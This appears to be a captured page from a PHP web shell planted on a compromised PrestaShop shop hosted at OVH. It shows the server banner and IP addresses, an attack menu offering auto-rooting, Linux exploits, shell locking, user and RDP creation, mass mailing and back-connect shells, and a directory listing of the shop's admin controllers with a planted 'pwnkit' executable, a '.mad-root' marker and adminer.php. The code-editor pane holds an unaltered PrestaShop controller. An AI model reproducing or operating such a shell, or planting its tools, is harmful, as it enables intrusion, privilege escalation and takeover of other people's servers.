Linux webm004.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Apache
: 10.102.20.4 | : 216.73.217.153
Cant Read [ /etc/named.conf ]
5.4.45
opusyn1t
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
opusyn1t /
www /
boutique /
controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
AdminAccessController.php
7.63
KB
-rw----r--
AdminAddonsCatalogController.p...
1.98
KB
-rw----r--
AdminAddressesController.php
15.46
KB
-rw----r--
AdminAdminPreferencesControlle...
7.88
KB
-rw----r--
AdminAttachmentsController.php
7.29
KB
-rw----r--
AdminAttributeGeneratorControl...
8.69
KB
-rw----r--
AdminAttributesGroupsControlle...
28.13
KB
-rw----r--
AdminBackupController.php
8.91
KB
-rw----r--
AdminCarrierWizardController.p...
29.49
KB
-rw----r--
AdminCarriersController.php
22.76
KB
-rw----r--
AdminCartRulesController.php
27.36
KB
-rw----r--
AdminCartsController.php
33.12
KB
-rw----r--
AdminCategoriesController.php
28.58
KB
-rw----r--
AdminCmsCategoriesController.p...
10.89
KB
-rw----r--
AdminCmsContentController.php
11.05
KB
-rw----r--
AdminCmsController.php
14.58
KB
-rw----r--
AdminContactsController.php
3.81
KB
-rw----r--
AdminCountriesController.php
14.92
KB
-rw----r--
AdminCurrenciesController.php
11.03
KB
-rw----r--
AdminCustomerPreferencesContro...
4.12
KB
-rw----r--
AdminCustomerThreadsController...
34.39
KB
-rw----r--
AdminCustomersController.php
33.1
KB
-rw----r--
AdminDashboardController.php
15.28
KB
-rw----r--
AdminDeliverySlipController.ph...
4.02
KB
-rw----r--
AdminEmailsController.php
9.18
KB
-rw----r--
AdminEmployeesController.php
21.16
KB
-rw----r--
AdminFeaturesController.php
17.44
KB
-rw----r--
AdminGendersController.php
5.79
KB
-rw----r--
AdminGeolocationController.php
6.01
KB
-rw----r--
AdminGroupsController.php
18.53
KB
-rw----r--
AdminImagesController.php
24.85
KB
-rw----r--
AdminImportController.php
134.18
KB
-rw----r--
AdminInformationController.php
6.49
KB
-rw----r--
AdminInvoicesController.php
8.78
KB
-rw----r--
AdminLanguagesController.php
17.8
KB
-rw----r--
AdminLocalizationController.ph...
12.33
KB
-rw----r--
AdminLoginController.php
9.64
KB
-rw----r--
AdminLogsController.php
3.71
KB
-rw----r--
AdminMaintenanceController.php
2.06
KB
-rw----r--
AdminManufacturersController.p...
23.4
KB
-rw----r--
AdminMarketingController.php
1.63
KB
-rw----r--
AdminMetaController.php
24.65
KB
-rw----r--
AdminModulesController.php
61.15
KB
-rw----r--
AdminModulesPositionsControlle...
21.8
KB
-rw----r--
AdminNotFoundController.php
1.46
KB
-rw----r--
AdminOrderMessageController.ph...
2.67
KB
-rw----r--
AdminOrderPreferencesControlle...
6.37
KB
-rw----r--
AdminOrdersController.php
101.09
KB
-rw----r--
AdminOutstandingController.php
4.95
KB
-rw----r--
AdminPPreferencesController.ph...
10.81
KB
-rw----r--
AdminPatternsController.php
18.18
KB
-rw----r--
AdminPaymentController.php
8.99
KB
-rw----r--
AdminPdfController.php
6.83
KB
-rw----r--
AdminPerformanceController.php
32.64
KB
-rw----r--
AdminPreferencesController.php
6.98
KB
-rw----r--
AdminProductsController.php
183.23
KB
-rw----r--
AdminProfilesController.php
3.13
KB
-rw----r--
AdminQuickAccessesController.p...
4.5
KB
-rw----r--
AdminRangePriceController.php
5.27
KB
-rw----r--
AdminRangeWeightController.php
5.23
KB
-rw----r--
AdminReferrersController.php
14.62
KB
-rw----r--
AdminRequestSqlController.php
13.46
KB
-rw----r--
AdminReturnController.php
9.67
KB
-rw----r--
AdminScenesController.php
10.96
KB
-rw----r--
AdminSearchConfController.php
10.74
KB
-rw----r--
AdminSearchController.php
16.16
KB
-rw----r--
AdminSearchEnginesController.p...
2.65
KB
-rw----r--
AdminShippingController.php
6.4
KB
-rw----r--
AdminShopController.php
26.41
KB
-rw----r--
AdminShopGroupController.php
10.74
KB
-rw----r--
AdminShopUrlController.php
15.56
KB
-rw----r--
AdminSlipController.php
5.46
KB
-rw----r--
AdminSpecificPriceRuleControll...
10.24
KB
-rw----r--
AdminStatesController.php
8.51
KB
-rw----r--
AdminStatsController.php
32.5
KB
-rw----r--
AdminStatsTabController.php
10.03
KB
-rw----r--
AdminStatusesController.php
18.24
KB
-rw----r--
AdminStockConfigurationControl...
18.57
KB
-rw----r--
AdminStockCoverController.php
12.28
KB
-rw----r--
AdminStockInstantStateControll...
17.52
KB
-rw----r--
AdminStockManagementController...
38.91
KB
-rw----r--
AdminStockMvtController.php
9.54
KB
-rw----r--
AdminStoresController.php
17.15
KB
-rw----r--
AdminSuppliersController.php
16.21
KB
-rw----r--
AdminSupplyOrdersController.ph...
73.41
KB
-rw----r--
AdminTabsController.php
9.17
KB
-rw----r--
AdminTagsController.php
4.04
KB
-rw----r--
AdminTaxRulesGroupController.p...
14.35
KB
-rw----r--
AdminTaxesController.php
8.92
KB
-rw----r--
AdminThemesController.php
92.51
KB
-rw----r--
AdminTrackingController.php
11.15
KB
-rw----r--
AdminTranslationsController.ph...
106.53
KB
-rw----r--
AdminWarehousesController.php
18.56
KB
-rw----r--
AdminWebserviceController.php
8.44
KB
-rw----r--
AdminZonesController.php
3.38
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
autoload_classmap.php
0
B
-r--r--r--
index.php
1.24
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminShopGroupController.php
<?php /* * 2007-2014 PrestaShop * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/osl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to http://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2014 PrestaShop SA * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) * International Registered Trademark & Property of PrestaShop SA */ class AdminShopGroupControllerCore extends AdminController { public function __construct() { $this->bootstrap = true; $this->table = 'shop_group'; $this->className = 'ShopGroup'; $this->lang = false; $this->multishop_context = Shop::CONTEXT_ALL; $this->addRowAction('edit'); $this->addRowAction('delete'); $this->context = Context::getContext(); if (!Tools::getValue('realedit')) $this->deleted = false; $this->show_toolbar = false; $this->fields_list = array( 'id_shop_group' => array( 'title' => $this->l('ID'), 'align' => 'center', 'class' => 'fixed-width-xs', ), 'name' => array( 'title' => $this->l('Shop group'), 'width' => 'auto', 'filter_key' => 'a!name', ), /*'active' => array( 'title' => $this->l('Enabled'), 'align' => 'center', 'active' => 'status', 'type' => 'bool', 'orderby' => false, 'filter_key' => 'active', 'width' => 50, ),*/ ); $this->fields_options = array( 'general' => array( 'title' => $this->l('Multistore options'), 'fields' => array( 'PS_SHOP_DEFAULT' => array( 'title' => $this->l('Default shop'), 'cast' => 'intval', 'type' => 'select', 'identifier' => 'id_shop', 'list' => Shop::getShops(), 'visibility' => Shop::CONTEXT_ALL ) ), 'submit' => array('title' => $this->l('Save')) ) ); parent::__construct(); } public function viewAccess($disable = false) { return Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE'); } public function initContent() { parent::initContent(); $this->addJqueryPlugin('cooki-plugin'); $data = Shop::getTree(); foreach ($data as $key_group => &$group) foreach ($group['shops'] as $key_shop => &$shop) { $current_shop = new Shop($shop['id_shop']); $urls = $current_shop->getUrls(); foreach ($urls as $key_url => &$url) { $title = $url['domain'].$url['physical_uri'].$url['virtual_uri']; if (strlen($title) > 23) $title = substr($title, 0, 23).'...'; $url['name'] = $title; $shop['urls'][$url['id_shop_url']] = $url; } } $shops_tree = new HelperTreeShops('shops-tree', 'Multistore tree'); $shops_tree->setNodeFolderTemplate('shop_tree_node_folder.tpl')->setNodeItemTemplate('shop_tree_node_item.tpl') ->setHeaderTemplate('shop_tree_header.tpl')->setActions(array( new TreeToolbarLink( 'Collapse All', '#', '$(\'#'.$shops_tree->getId().'\').tree(\'collapseAll\'); return false;', 'icon-collapse-alt'), new TreeToolbarLink( 'Expand All', '#', '$(\'#'.$shops_tree->getId().'\').tree(\'expandAll\'); return false;', 'icon-expand-alt') )) ->setAttribute('url_shop_group', $this->context->link->getAdminLink('AdminShopGroup')) ->setAttribute('url_shop', $this->context->link->getAdminLink('AdminShop')) ->setAttribute('url_shop_url', $this->context->link->getAdminLink('AdminShopUrl')) ->setData($data); $shops_tree = $shops_tree->render(null, false, false); if ($this->display == 'edit') $this->toolbar_title[] = $this->object->name; $this->context->smarty->assign(array( 'toolbar_scroll' => 1, 'toolbar_btn' => $this->toolbar_btn, 'title' => $this->toolbar_title, 'shops_tree' => $shops_tree )); } public function initPageHeaderToolbar() { parent::initPageHeaderToolbar(); if ($this->display != 'add' && $this->display != 'edit') { $this->page_header_toolbar_btn['new'] = array( 'desc' => $this->l('Add a new shop group'), 'href' => self::$currentIndex.'&add'.$this->table.'&token='.$this->token, ); $this->page_header_toolbar_btn['new_2'] = array( 'desc' => $this->l('Add a new shop'), 'href' => $this->context->link->getAdminLink('AdminShop').'&addshop', 'imgclass' => 'new' ); } } public function initToolbar() { parent::initToolbar(); if ($this->display != 'add' && $this->display != 'edit') $this->toolbar_btn['new'] = array( 'desc' => $this->l('Add a new shop group'), 'href' => self::$currentIndex.'&add'.$this->table.'&token='.$this->token, ); } public function renderForm() { $this->fields_form = array( 'legend' => array( 'title' => $this->l('Shop group'), 'icon' => 'icon-shopping-cart' ), 'description' => $this->l('Warning: Enabling the "share customers" and "share orders" options is not recommended. Once activated and orders are created, you will not be able to disable these options. If you need these options, we recommend using several categories rather than several shops.'), 'input' => array( array( 'type' => 'text', 'label' => $this->l('Shop group name'), 'name' => 'name', 'required' => true ), array( 'type' => 'switch', 'label' => $this->l('Share customers'), 'name' => 'share_customer', 'required' => true, 'class' => 't', 'is_bool' => true, 'disabled' => ($this->id_object && $this->display == 'edit' && ShopGroup::hasDependency($this->id_object, 'customer')) ? true : false, 'values' => array( array( 'id' => 'share_customer_on', 'value' => 1 ), array( 'id' => 'share_customer_off', 'value' => 0 ) ), 'desc' => $this->l('Once this option is enabled, the shops in this group will share customers. If a customer registers in any one of these shops, the account will automatically be available in the others shops of this group.').'<br/>'.$this->l('Warning: you will not be able to disable this option once you have registered customers.'), ), array( 'type' => 'switch', 'label' => $this->l('Share available quantities to sell'), 'name' => 'share_stock', 'required' => true, 'class' => 't', 'is_bool' => true, 'values' => array( array( 'id' => 'share_stock_on', 'value' => 1 ), array( 'id' => 'share_stock_off', 'value' => 0 ) ), 'desc' => $this->l('Share available quantities between shops of this group. When changing this option, all available products quantities will be reset to 0.'), ), array( 'type' => 'switch', 'label' => $this->l('Share orders'), 'name' => 'share_order', 'required' => true, 'class' => 't', 'is_bool' => true, 'disabled' => ($this->id_object && $this->display == 'edit' && ShopGroup::hasDependency($this->id_object, 'order')) ? true : false, 'values' => array( array( 'id' => 'share_order_on', 'value' => 1 ), array( 'id' => 'share_order_off', 'value' => 0 ) ), 'desc' => $this->l('Once this option is enabled (which is only possible if customers and available quantities are shared among shops), the customer\'s cart will be shared by all shops in this group. This way, any purchase started in one shop will be able to be completed in another shop from the same group.').'<br/>'.$this->l('Warning: You will not be able to disable this option once you\'ve started to accept orders.') ), array( 'type' => 'switch', 'label' => $this->l('Status'), 'name' => 'active', 'required' => true, 'class' => 't', 'is_bool' => true, 'values' => array( array( 'id' => 'active_on', 'value' => 1 ), array( 'id' => 'active_off', 'value' => 0 ) ), 'desc' => $this->l('Enable or disable this shop group?') ) ), 'submit' => array( 'title' => $this->l('Save'), ) ); if (!($obj = $this->loadObject(true))) return; if (Shop::getTotalShops() > 1 && $obj->id) $disabled = array( 'share_customer' => true, 'share_stock' => true, 'share_order' => true, 'active' => false ); else $disabled = false; $default_shop = new Shop(Configuration::get('PS_SHOP_DEFAULT')); $this->tpl_form_vars = array( 'disabled' => $disabled, 'checked' => (Tools::getValue('addshop_group') !== false) ? true : false, 'defaultGroup' => $default_shop->id_shop_group, ); $this->fields_value = array( 'active' => true ); return parent::renderForm(); } public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) { parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); $shop_group_delete_list = array(); // test store authorized to remove foreach ($this->_list as $shop_group) { $shops = Shop::getShops(true, $shop_group['id_shop_group']); if (!empty($shops)) $shop_group_delete_list[] = $shop_group['id_shop_group']; } $this->addRowActionSkipList('delete', $shop_group_delete_list); } public function postProcess() { if (Tools::isSubmit('delete'.$this->table) || Tools::isSubmit('status') || Tools::isSubmit('status'.$this->table)) { $object = $this->loadObject(); if (ShopGroup::getTotalShopGroup() == 1) $this->errors[] = Tools::displayError('You cannot delete or disable the last shop group.'); else if ($object->haveShops()) $this->errors[] = Tools::displayError('You cannot delete or disable a shop group in use.'); if (count($this->errors)) return false; } return parent::postProcess(); } protected function afterAdd($new_shop_group) { //Reset available quantitites StockAvailable::resetProductFromStockAvailableByShopGroup($new_shop_group); } protected function afterUpdate($new_shop_group) { //Reset available quantitites StockAvailable::resetProductFromStockAvailableByShopGroup($new_shop_group); } public function renderOptions() { if ($this->fields_options && is_array($this->fields_options)) { $this->display = 'options'; $this->show_toolbar = false; $helper = new HelperOptions($this); $this->setHelperDisplay($helper); $helper->id = $this->id; $helper->tpl_vars = $this->tpl_option_vars; $options = $helper->generateOptions($this->fields_options); return $options; } } }
Close